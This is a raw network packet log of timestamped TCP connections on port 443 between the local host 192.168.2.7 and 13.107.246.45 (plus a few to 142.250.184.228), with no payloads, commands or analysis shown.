Nov 21, 2024 00:04:47.565253973 CET	443	50048	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.568347931 CET	443	50048	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.568533897 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.568533897 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.568533897 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.571331024 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.571381092 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.571455956 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.571603060 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.571614027 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.689296961 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.689832926 CET	50050	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.689867020 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.690310955 CET	50050	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.690316916 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.760768890 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.763909101 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.763961077 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.764008999 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.764061928 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.764146090 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.764178038 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.764197111 CET	50049	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.764204025 CET	443	50049	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.767359018 CET	50054	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.767404079 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.767805099 CET	50054	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.767805099 CET	50054	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.767838001 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:47.793423891 CET	50027	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:04:47.793445110 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:47.869865894 CET	50048	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:47.869940042 CET	443	50048	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.144076109 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.146950960 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.147068024 CET	50050	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.190927029 CET	50050	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.190970898 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.190996885 CET	50050	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.191004038 CET	443	50050	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.195903063 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.195961952 CET	443	50055	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.196022034 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.257852077 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.257916927 CET	443	50055	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.395884037 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.412396908 CET	50051	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.412424088 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.416028023 CET	50051	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.416040897 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.841229916 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.844408035 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.845381975 CET	50051	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.850497007 CET	50051	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.850533009 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.850547075 CET	50051	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.850553989 CET	443	50051	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.853883028 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.853935957 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.854008913 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.854183912 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.854197025 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.994303942 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.995299101 CET	50052	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.995333910 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:48.995603085 CET	50052	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:48.995610952 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.287159920 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.287736893 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.287764072 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.288217068 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.288222075 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.448612928 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.451682091 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.451736927 CET	50052	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.451800108 CET	50052	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.451817989 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.451831102 CET	50052	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.451838017 CET	443	50052	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.456116915 CET	50057	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.456171036 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.456356049 CET	50057	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.456795931 CET	50057	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.456806898 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.546040058 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.546478987 CET	50054	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.546494007 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.546972036 CET	50054	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.546977043 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.729686975 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.732836962 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.732891083 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.732913017 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.732959986 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.733396053 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.733426094 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.733443022 CET	50053	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.733449936 CET	443	50053	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.742873907 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.742933989 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.743052959 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.743717909 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:49.743731022 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:49.999890089 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.002959967 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.003025055 CET	50054	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.003108978 CET	50054	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.003127098 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.003169060 CET	50054	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.003175974 CET	443	50054	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.006063938 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.006124020 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.006283045 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.006397009 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.006412983 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.050393105 CET	443	50055	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.050909996 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.050951958 CET	443	50055	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.051382065 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.051400900 CET	443	50055	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.496723890 CET	443	50055	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.496826887 CET	443	50055	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.497103930 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.497103930 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.497103930 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.500087976 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.500149965 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.500385046 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.500540018 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.500551939 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.632949114 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.633440971 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.633475065 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.633940935 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.633949995 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:50.799391031 CET	50055	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:50.799434900 CET	443	50055	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.088695049 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.088721991 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.088855982 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.088887930 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.089144945 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.089162111 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.089170933 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.089359045 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.089392900 CET	443	50056	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.091320992 CET	50056	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.092277050 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.092365980 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.092449903 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.092602968 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.092633963 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.238981009 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.242984056 CET	50057	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.243014097 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.243448019 CET	50057	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.243457079 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.355715990 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.356451988 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.356506109 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.356904030 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.356909990 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.683065891 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.683140039 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.683274031 CET	50057	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.683485985 CET	50057	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.683516979 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.683528900 CET	50057	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.683535099 CET	443	50057	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.686636925 CET	50063	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.686709881 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.686820984 CET	50063	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.686988115 CET	50063	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.687006950 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.813262939 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.813955069 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.813987017 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.814423084 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.814429045 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.815031052 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.815053940 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.815114975 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.815140963 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.815229893 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.815242052 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.815252066 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.815411091 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.815458059 CET	443	50059	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.815493107 CET	50059	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.817945004 CET	50064	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.817989111 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:51.818095922 CET	50064	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.818289995 CET	50064	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:51.818301916 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.241123915 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.241693020 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.241722107 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.242144108 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.242150068 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.248290062 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.248312950 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.248402119 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.248440027 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.248601913 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.248617887 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.248641014 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.248791933 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.248835087 CET	443	50060	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.248874903 CET	50060	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.251200914 CET	50065	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.251251936 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.251357079 CET	50065	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.251524925 CET	50065	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.251539946 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.679197073 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.679219961 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.679289103 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.679321051 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.679578066 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.679589987 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.679600000 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.679755926 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.679786921 CET	443	50061	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.679821014 CET	50061	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.682396889 CET	50066	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.682440996 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.682512045 CET	50066	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.682677031 CET	50066	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.682687044 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.911339045 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.911914110 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.911938906 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:52.912383080 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:52.912393093 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.367086887 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.367116928 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.367162943 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.367192030 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.367397070 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.367422104 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.367434978 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.367599964 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.367633104 CET	443	50062	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.367669106 CET	50062	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.370232105 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.370280027 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.370351076 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.370485067 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.370497942 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.536504030 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.537112951 CET	50063	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.537158966 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.537564993 CET	50063	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.537570953 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.597197056 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.597887039 CET	50064	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.597910881 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.598352909 CET	50064	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.598360062 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.999392033 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.999474049 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.999533892 CET	50063	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.999675035 CET	50063	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.999708891 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:53.999725103 CET	50063	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:53.999731064 CET	443	50063	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.002849102 CET	50068	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.002901077 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.003032923 CET	50068	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.003173113 CET	50068	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.003190041 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.038014889 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.038630009 CET	50065	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.038660049 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.039134979 CET	50065	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.039141893 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.042435884 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.042510033 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.042572021 CET	50064	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.042751074 CET	50064	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.042777061 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.042804956 CET	50064	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.042810917 CET	443	50064	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.045528889 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.045631886 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.045737982 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.045907974 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.045937061 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.462344885 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.462925911 CET	50066	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.462956905 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.463407040 CET	50066	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.463417053 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.482970953 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.483057976 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.483136892 CET	50065	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.483438969 CET	50065	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.483438969 CET	50065	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.483459949 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.483475924 CET	443	50065	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.486336946 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.486394882 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.486515999 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.486699104 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.486718893 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.913077116 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.913151026 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.913224936 CET	50066	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.913450003 CET	50066	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.913465977 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.913476944 CET	50066	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.913482904 CET	443	50066	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.916575909 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.916620970 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:54.916732073 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.916960001 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:54.916974068 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.101306915 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.101866007 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.101932049 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.102320910 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.102328062 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.545789003 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.545819044 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.545907974 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.545939922 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.545988083 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.546189070 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.546194077 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.546214104 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.546371937 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.546403885 CET	443	50067	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.546442986 CET	50067	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.549134970 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.549180984 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.549274921 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.549453020 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.549467087 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.852716923 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.853447914 CET	50068	443	192.168.2.7	13.107.246.45
